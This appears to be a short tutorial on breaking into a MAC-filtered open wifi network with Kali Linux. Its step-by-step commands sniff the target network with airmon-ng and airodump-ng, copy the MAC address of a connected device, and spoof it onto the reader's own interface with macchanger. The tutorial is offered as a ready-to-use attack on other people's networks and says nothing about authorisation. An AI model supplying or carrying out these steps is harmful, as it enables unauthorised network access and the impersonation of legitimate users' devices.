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                                Easily bypass MAC FILTERING HAVING OPEN SECURITY
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hello everyone  today i m going to show how to hack mac-filtered wifi in kali linux v 2.0.....
 Check if you are in range of the wifi network you want to target......
 if it is mac-filtered wifi you cannot acess to the wifi even the network is open....

(i am trying to connect mac-filtered wifi. having open security......lets see what happens)
it is open but i cant connect to the wifi as it is mac filtered...... :(
but dont worry :) .....just follow me

Commands.....
      # airmon-ng            (check your interface if it is wlan0 or wlan1 )
      # airodump-ng wlan0        (mine is wlan0)
   press CTRL+C after you found your target network
 then type in following commands....
      airodump-ng -c BSSIDchannelNo.  --bssid XX:XX:XX:XX wlan0
       

you have wait until mac-adresses  appear below the Stations......
if you got mac adress ....press ctrl+C
copy one of the mac adress 
then type the following commands
              
           # service network-manager start
           # ifconfig wlan0 down
           # macchanger -m __paste the mac adress here__ wlan0
           # ifconfig wlan0 up  






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